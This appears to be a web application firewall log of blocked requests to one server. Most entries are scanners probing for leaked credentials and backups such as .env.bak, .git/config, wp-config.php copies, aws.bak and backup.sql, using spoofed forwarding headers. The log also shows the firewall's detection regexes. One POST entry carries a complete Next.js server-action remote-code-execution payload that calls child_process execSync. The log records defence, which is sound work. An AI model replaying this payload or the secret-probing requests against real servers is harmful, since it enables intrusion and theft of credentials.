["2026-03-16 00:26:14","185.177.72.30","GET","\/s3\/.env.bak","curl\/8.7.1","url","\\.(bak|inc|old|mdb|sql|php~|swp|java|class)$ >> 1:\/s3\/.env.bak","GET \/s3\/.env.bak HTTP\/1.1\nx-real-ip:127.0.0.1\nx-originating-ip:127.0.0.1\nx-azure-socketip:127.0.0.1\nx-azure-clientip:127.0.0.1\nx-client-ip:127.0.0.1\nx-forwarded-for:127.0.0.1\nhost:47.254.126.238\naccept-language:en-US,en;q=0.9\ntrue-client-ip:127.0.0.1\naccept:*\/*\nuser-agent:curl\/8.7.1\nx-host:127.0.0.1\nx-forwared:127.0.0.1\naccept-encoding:gzip\n\n"]
["2026-03-16 00:26:30","185.177.72.30","GET","\/.git\/config.bak","curl\/8.7.1","url","\\.(bak|inc|old|mdb|sql|php~|swp|java|class)$ >> 1:\/.git\/config.bak","GET \/.git\/config.bak HTTP\/1.1\nx-real-ip:127.0.0.1\nx-originating-ip:127.0.0.1\nx-azure-socketip:127.0.0.1\nx-azure-clientip:127.0.0.1\nx-client-ip:127.0.0.1\nx-forwarded-for:127.0.0.1\nhost:47.254.126.238\naccept-language:en-US,en;q=0.9\ntrue-client-ip:127.0.0.1\naccept:*\/*\nuser-agent:curl\/8.7.1\nx-host:127.0.0.1\nx-forwared:127.0.0.1\naccept-encoding:gzip\n\n"]
["2026-03-16 00:26:30","185.177.72.30","GET","\/.git\/config.old","curl\/8.7.1","url","\\.(bak|inc|old|mdb|sql|php~|swp|java|class)$ >> 1:\/.git\/config.old","GET \/.git\/config.old HTTP\/1.1\nx-real-ip:127.0.0.1\nx-originating-ip:127.0.0.1\nx-azure-socketip:127.0.0.1\nx-azure-clientip:127.0.0.1\nx-client-ip:127.0.0.1\nx-forwarded-for:127.0.0.1\nhost:47.254.126.238\naccept-language:en-US,en;q=0.9\ntrue-client-ip:127.0.0.1\naccept:*\/*\nuser-agent:curl\/8.7.1\nx-host:127.0.0.1\nx-forwared:127.0.0.1\naccept-encoding:gzip\n\n"]
["2026-03-16 00:26:57","185.177.72.30","GET","\/.env.bak","curl\/8.7.1","url","\\.(bak|inc|old|mdb|sql|php~|swp|java|class)$ >> 1:\/.env.bak","GET \/.env.bak HTTP\/1.1\nx-real-ip:127.0.0.1\nx-originating-ip:127.0.0.1\nx-azure-socketip:127.0.0.1\nx-azure-clientip:127.0.0.1\nx-client-ip:127.0.0.1\nx-forwarded-for:127.0.0.1\nhost:47.254.126.238\naccept-language:en-US,en;q=0.9\ntrue-client-ip:127.0.0.1\naccept:*\/*\nuser-agent:curl\/8.7.1\nx-host:127.0.0.1\nx-forwared:127.0.0.1\naccept-encoding:gzip\n\n"]
["2026-03-16 00:26:57","185.177.72.30","GET","\/.env.old","curl\/8.7.1","url","\\.(bak|inc|old|mdb|sql|php~|swp|java|class)$ >> 1:\/.env.old","GET \/.env.old HTTP\/1.1\nx-real-ip:127.0.0.1\nx-originating-ip:127.0.0.1\nx-azure-socketip:127.0.0.1\nx-azure-clientip:127.0.0.1\nx-client-ip:127.0.0.1\nx-forwarded-for:127.0.0.1\nhost:47.254.126.238\naccept-language:en-US,en;q=0.9\ntrue-client-ip:127.0.0.1\naccept:*\/*\nuser-agent:curl\/8.7.1\nx-host:127.0.0.1\nx-forwared:127.0.0.1\naccept-encoding:gzip\n\n"]
["2026-03-16 00:27:04","185.177.72.30","GET","\/backup.sql","curl\/8.7.1","url","\\.(bak|inc|old|mdb|sql|php~|swp|java|class)$ >> 1:\/backup.sql","GET \/backup.sql HTTP\/1.1\nx-real-ip:127.0.0.1\nx-originating-ip:127.0.0.1\nx-azure-socketip:127.0.0.1\nx-azure-clientip:127.0.0.1\nx-client-ip:127.0.0.1\nx-forwarded-for:127.0.0.1\nhost:47.254.126.238\naccept-language:en-US,en;q=0.9\ntrue-client-ip:127.0.0.1\naccept:*\/*\nuser-agent:curl\/8.7.1\nx-host:127.0.0.1\nx-forwared:127.0.0.1\naccept-encoding:gzip\n\n"]
["2026-03-16 00:27:05","185.177.72.30","GET","\/backup.zip","curl\/8.7.1","url","^\/(vhost|bbs|host|wwwroot|www|site|root|backup|data|ftp|db|admin|website|web).*\\.(rar|sql|zip|tar\\.gz|tar)$ >> 1:\/backup.zip","GET \/backup.zip HTTP\/1.1\nx-real-ip:127.0.0.1\nx-originating-ip:127.0.0.1\nx-azure-socketip:127.0.0.1\nx-azure-clientip:127.0.0.1\nx-client-ip:127.0.0.1\nx-forwarded-for:127.0.0.1\nhost:47.254.126.238\naccept-language:en-US,en;q=0.9\ntrue-client-ip:127.0.0.1\naccept:*\/*\nuser-agent:curl\/8.7.1\nx-host:127.0.0.1\nx-forwared:127.0.0.1\naccept-encoding:gzip\n\n"]
["2026-03-16 00:27:05","185.177.72.30","GET","\/backup.zip","curl\/8.7.1","url","60秒以内累计超过6次以上非法请求,封锁180秒","GET \/backup.zip HTTP\/1.1\nx-real-ip:127.0.0.1\nx-originating-ip:127.0.0.1\nx-azure-socketip:127.0.0.1\nx-azure-clientip:127.0.0.1\nx-client-ip:127.0.0.1\nx-forwarded-for:127.0.0.1\nhost:47.254.126.238\naccept-language:en-US,en;q=0.9\ntrue-client-ip:127.0.0.1\naccept:*\/*\nuser-agent:curl\/8.7.1\nx-host:127.0.0.1\nx-forwared:127.0.0.1\naccept-encoding:gzip\n\n"]
["2026-03-16 02:00:14","185.177.72.56","GET","\/s3\/.env.bak","curl\/8.7.1","url","\\.(bak|inc|old|mdb|sql|php~|swp|java|class)$ >> 1:\/s3\/.env.bak","GET \/s3\/.env.bak HTTP\/1.1\nx-azure-clientip:127.0.0.1\nx-azure-socketip:127.0.0.1\nx-host:127.0.0.1\nx-forwared:127.0.0.1\nhost:47.254.126.238\naccept-language:en-US,en;q=0.9\nuser-agent:curl\/8.7.1\naccept-encoding:gzip\nx-real-ip:127.0.0.1\naccept:*\/*\nx-forwarded-for:127.0.0.1\nx-originating-ip:127.0.0.1\nx-client-ip:127.0.0.1\ntrue-client-ip:127.0.0.1\n\n"]
["2026-03-16 02:00:29","185.177.72.56","GET","\/.git\/config.bak","curl\/8.7.1","url","\\.(bak|inc|old|mdb|sql|php~|swp|java|class)$ >> 1:\/.git\/config.bak","GET \/.git\/config.bak HTTP\/1.1\nx-azure-clientip:127.0.0.1\nx-azure-socketip:127.0.0.1\nx-host:127.0.0.1\nx-forwared:127.0.0.1\nhost:47.254.126.238\naccept-language:en-US,en;q=0.9\nuser-agent:curl\/8.7.1\naccept-encoding:gzip\nx-real-ip:127.0.0.1\naccept:*\/*\nx-forwarded-for:127.0.0.1\nx-originating-ip:127.0.0.1\nx-client-ip:127.0.0.1\ntrue-client-ip:127.0.0.1\n\n"]
["2026-03-16 02:00:29","185.177.72.56","GET","\/.git\/config.old","curl\/8.7.1","url","\\.(bak|inc|old|mdb|sql|php~|swp|java|class)$ >> 1:\/.git\/config.old","GET \/.git\/config.old HTTP\/1.1\nx-azure-clientip:127.0.0.1\nx-azure-socketip:127.0.0.1\nx-host:127.0.0.1\nx-forwared:127.0.0.1\nhost:47.254.126.238\naccept-language:en-US,en;q=0.9\nuser-agent:curl\/8.7.1\naccept-encoding:gzip\nx-real-ip:127.0.0.1\naccept:*\/*\nx-forwarded-for:127.0.0.1\nx-originating-ip:127.0.0.1\nx-client-ip:127.0.0.1\ntrue-client-ip:127.0.0.1\n\n"]
["2026-03-16 02:00:55","185.177.72.56","GET","\/.env.bak","curl\/8.7.1","url","\\.(bak|inc|old|mdb|sql|php~|swp|java|class)$ >> 1:\/.env.bak","GET \/.env.bak HTTP\/1.1\nx-azure-clientip:127.0.0.1\nx-azure-socketip:127.0.0.1\nx-host:127.0.0.1\nx-forwared:127.0.0.1\nhost:47.254.126.238\naccept-language:en-US,en;q=0.9\nuser-agent:curl\/8.7.1\naccept-encoding:gzip\nx-real-ip:127.0.0.1\naccept:*\/*\nx-forwarded-for:127.0.0.1\nx-originating-ip:127.0.0.1\nx-client-ip:127.0.0.1\ntrue-client-ip:127.0.0.1\n\n"]
["2026-03-16 02:00:55","185.177.72.56","GET","\/.env.old","curl\/8.7.1","url","\\.(bak|inc|old|mdb|sql|php~|swp|java|class)$ >> 1:\/.env.old","GET \/.env.old HTTP\/1.1\nx-azure-clientip:127.0.0.1\nx-azure-socketip:127.0.0.1\nx-host:127.0.0.1\nx-forwared:127.0.0.1\nhost:47.254.126.238\naccept-language:en-US,en;q=0.9\nuser-agent:curl\/8.7.1\naccept-encoding:gzip\nx-real-ip:127.0.0.1\naccept:*\/*\nx-forwarded-for:127.0.0.1\nx-originating-ip:127.0.0.1\nx-client-ip:127.0.0.1\ntrue-client-ip:127.0.0.1\n\n"]
["2026-03-16 02:01:02","185.177.72.56","GET","\/backup.sql","curl\/8.7.1","url","\\.(bak|inc|old|mdb|sql|php~|swp|java|class)$ >> 1:\/backup.sql","GET \/backup.sql HTTP\/1.1\nx-azure-clientip:127.0.0.1\nx-azure-socketip:127.0.0.1\nx-host:127.0.0.1\nx-forwared:127.0.0.1\nhost:47.254.126.238\naccept-language:en-US,en;q=0.9\nuser-agent:curl\/8.7.1\naccept-encoding:gzip\nx-real-ip:127.0.0.1\naccept:*\/*\nx-forwarded-for:127.0.0.1\nx-originating-ip:127.0.0.1\nx-client-ip:127.0.0.1\ntrue-client-ip:127.0.0.1\n\n"]
["2026-03-16 02:01:02","185.177.72.56","GET","\/backup.zip","curl\/8.7.1","url","^\/(vhost|bbs|host|wwwroot|www|site|root|backup|data|ftp|db|admin|website|web).*\\.(rar|sql|zip|tar\\.gz|tar)$ >> 1:\/backup.zip","GET \/backup.zip HTTP\/1.1\nx-azure-clientip:127.0.0.1\nx-azure-socketip:127.0.0.1\nx-host:127.0.0.1\nx-forwared:127.0.0.1\nhost:47.254.126.238\naccept-language:en-US,en;q=0.9\nuser-agent:curl\/8.7.1\naccept-encoding:gzip\nx-real-ip:127.0.0.1\naccept:*\/*\nx-forwarded-for:127.0.0.1\nx-originating-ip:127.0.0.1\nx-client-ip:127.0.0.1\ntrue-client-ip:127.0.0.1\n\n"]
["2026-03-16 02:01:02","185.177.72.56","GET","\/backup.zip","curl\/8.7.1","url","60秒以内累计超过6次以上非法请求,封锁180秒","GET \/backup.zip HTTP\/1.1\nx-azure-clientip:127.0.0.1\nx-azure-socketip:127.0.0.1\nx-host:127.0.0.1\nx-forwared:127.0.0.1\nhost:47.254.126.238\naccept-language:en-US,en;q=0.9\nuser-agent:curl\/8.7.1\naccept-encoding:gzip\nx-real-ip:127.0.0.1\naccept:*\/*\nx-forwarded-for:127.0.0.1\nx-originating-ip:127.0.0.1\nx-client-ip:127.0.0.1\ntrue-client-ip:127.0.0.1\n\n"]
["2026-03-16 05:35:46","176.65.139.44","POST","\/","Go-http-client\/1.1","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> 0:{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var res=process.mainModule.require('child_process').execSync('echo VULN').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: 'NEXT_REDIRECT;push;\/login?a='+res+';307;'});\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}","POST \/ HTTP\/1.1\nhost:47.254.126.238:80\nconnection:close\nnext-action:1\naccept-encoding:gzip\ncontent-type:multipart\/form-data; boundary=--WebKitFormBoundaryx8jO2oVc6SWP3Sad\ncontent-length:689\nuser-agent:Go-http-client\/1.1\n\n----WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var res=process.mainModule.require('child_process').execSync('echo VULN').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: 'NEXT_REDIRECT;push;\/login?a='+res+';307;'});\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n----WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n----WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n[]\r\n----WebKitFormBoundaryx8jO2oVc6SWP3Sad--"]
["2026-03-16 10:27:42","81.168.83.103","GET","\/.env.old","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/124.0.0.0 Safari\/537.36","url","\\.(bak|inc|old|mdb|sql|php~|swp|java|class)$ >> 1:\/.env.old","GET \/.env.old HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/124.0.0.0 Safari\/537.36\nhost:47.254.126.238\naccept:*\/*\n\n"]
["2026-03-16 11:54:01","195.178.110.109","GET","\/.env.bak","Mozilla\/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko\/20100101 Firefox\/47.0","url","\\.(bak|inc|old|mdb|sql|php~|swp|java|class)$ >> 1:\/.env.bak","GET \/.env.bak HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko\/20100101 Firefox\/47.0\nhost:47.254.126.238\n\n"]
["2026-03-16 11:54:06","195.178.110.109","GET","\/.env.old","Mozilla\/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko\/20100101 Firefox\/47.0","url","\\.(bak|inc|old|mdb|sql|php~|swp|java|class)$ >> 1:\/.env.old","GET \/.env.old HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko\/20100101 Firefox\/47.0\nhost:47.254.126.238\n\n"]
["2026-03-16 11:54:08","195.178.110.109","GET","\/wp-config.php.bak","Mozilla\/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko\/20100101 Firefox\/47.0","url","\\.(bak|inc|old|mdb|sql|php~|swp|java|class)$ >> 1:\/wp-config.php.bak","GET \/wp-config.php.bak HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko\/20100101 Firefox\/47.0\nhost:47.254.126.238\n\n"]
["2026-03-16 11:56:13","195.178.110.109","GET","\/stripe.old","Mozilla\/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko\/20100101 Firefox\/47.0","url","\\.(bak|inc|old|mdb|sql|php~|swp|java|class)$ >> 1:\/stripe.old","GET \/stripe.old HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko\/20100101 Firefox\/47.0\nhost:47.254.126.238\n\n"]
["2026-03-16 11:56:13","195.178.110.109","GET","\/stripe.bak","Mozilla\/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko\/20100101 Firefox\/47.0","url","\\.(bak|inc|old|mdb|sql|php~|swp|java|class)$ >> 1:\/stripe.bak","GET \/stripe.bak HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko\/20100101 Firefox\/47.0\nhost:47.254.126.238\n\n"]
["2026-03-16 11:56:19","195.178.110.109","GET","\/stripe.json.bak","Mozilla\/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko\/20100101 Firefox\/47.0","url","\\.(bak|inc|old|mdb|sql|php~|swp|java|class)$ >> 1:\/stripe.json.bak","GET \/stripe.json.bak HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko\/20100101 Firefox\/47.0\nhost:47.254.126.238\n\n"]
["2026-03-16 11:56:19","195.178.110.109","GET","\/stripe.yml.bak","Mozilla\/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko\/20100101 Firefox\/47.0","url","\\.(bak|inc|old|mdb|sql|php~|swp|java|class)$ >> 1:\/stripe.yml.bak","GET \/stripe.yml.bak HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko\/20100101 Firefox\/47.0\nhost:47.254.126.238\n\n"]
["2026-03-16 11:56:23","195.178.110.109","GET","\/aws.old","Mozilla\/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko\/20100101 Firefox\/47.0","url","\\.(bak|inc|old|mdb|sql|php~|swp|java|class)$ >> 1:\/aws.old","GET \/aws.old HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko\/20100101 Firefox\/47.0\nhost:47.254.126.238\n\n"]
["2026-03-16 11:56:24","195.178.110.109","GET","\/aws.bak","Mozilla\/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko\/20100101 Firefox\/47.0","url","\\.(bak|inc|old|mdb|sql|php~|swp|java|class)$ >> 1:\/aws.bak","GET \/aws.bak HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko\/20100101 Firefox\/47.0\nhost:47.254.126.238\n\n"]
["2026-03-16 11:56:34","195.178.110.109","GET","\/config.inc","Mozilla\/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko\/20100101 Firefox\/47.0","url","\\.(bak|inc|old|mdb|sql|php~|swp|java|class)$ >> 1:\/config.inc","GET \/config.inc HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko\/20100101 Firefox\/47.0\nhost:47.254.126.238\n\n"]
["2026-03-16 11:56:34","195.178.110.109","GET","\/config.inc","Mozilla\/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko\/20100101 Firefox\/47.0","url","60秒以内累计超过6次以上非法请求,封锁180秒","GET \/config.inc HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko\/20100101 Firefox\/47.0\nhost:47.254.126.238\n\n"]
["2026-03-16 11:59:36","195.178.110.109","GET","\/wp-config.php.old","Mozilla\/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko\/20100101 Firefox\/47.0","url","\\.(bak|inc|old|mdb|sql|php~|swp|java|class)$ >> 1:\/wp-config.php.old","GET \/wp-config.php.old HTTP\/1.1\nhost:47.254.126.238\nuser-agent:Mozilla\/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko\/20100101 Firefox\/47.0\n\n"]
["2026-03-16 11:59:36","195.178.110.109","GET","\/wp-config.php.swp","Mozilla\/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko\/20100101 Firefox\/47.0","url","\\.(bak|inc|old|mdb|sql|php~|swp|java|class)$ >> 1:\/wp-config.php.swp","GET \/wp-config.php.swp HTTP\/1.1\nhost:47.254.126.238\nuser-agent:Mozilla\/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko\/20100101 Firefox\/47.0\n\n"]
["2026-03-16 11:59:36","195.178.110.109","GET","\/wp-config.php~","Mozilla\/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko\/20100101 Firefox\/47.0","url","\\.(bak|inc|old|mdb|sql|php~|swp|java|class)$ >> 1:\/wp-config.php~","GET \/wp-config.php~ HTTP\/1.1\nhost:47.254.126.238\nuser-agent:Mozilla\/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko\/20100101 Firefox\/47.0\n\n"]
["2026-03-16 11:59:37","195.178.110.109","GET","\/wp-config.old","Mozilla\/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko\/20100101 Firefox\/47.0","url","\\.(bak|inc|old|mdb|sql|php~|swp|java|class)$ >> 1:\/wp-config.old","GET \/wp-config.old HTTP\/1.1\nhost:47.254.126.238\nuser-agent:Mozilla\/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko\/20100101 Firefox\/47.0\n\n"]
["2026-03-16 11:59:40","195.178.110.109","GET","\/.wp-config.php.swp","Mozilla\/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko\/20100101 Firefox\/47.0","url","\\.(bak|inc|old|mdb|sql|php~|swp|java|class)$ >> 1:\/.wp-config.php.swp","GET \/.wp-config.php.swp HTTP\/1.1\nhost:47.254.126.238\nuser-agent:Mozilla\/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko\/20100101 Firefox\/47.0\n\n"]
["2026-03-16 11:59:41","195.178.110.109","GET","\/configuration.php.bak","Mozilla\/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko\/20100101 Firefox\/47.0","url","\\.(bak|inc|old|mdb|sql|php~|swp|java|class)$ >> 1:\/configuration.php.bak","GET \/configuration.php.bak HTTP\/1.1\nhost:47.254.126.238\nuser-agent:Mozilla\/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko\/20100101 Firefox\/47.0\n\n"]
["2026-03-16 11:59:41","195.178.110.109","GET","\/configuration.php.old","Mozilla\/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko\/20100101 Firefox\/47.0","url","\\.(bak|inc|old|mdb|sql|php~|swp|java|class)$ >> 1:\/configuration.php.old","GET \/configuration.php.old HTTP\/1.1\nhost:47.254.126.238\nuser-agent:Mozilla\/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko\/20100101 Firefox\/47.0\n\n"]
["2026-03-16 11:59:41","195.178.110.109","GET","\/configuration.php.old","Mozilla\/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko\/20100101 Firefox\/47.0","url","60秒以内累计超过6次以上非法请求,封锁180秒","GET \/configuration.php.old HTTP\/1.1\nhost:47.254.126.238\nuser-agent:Mozilla\/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko\/20100101 Firefox\/47.0\n\n"]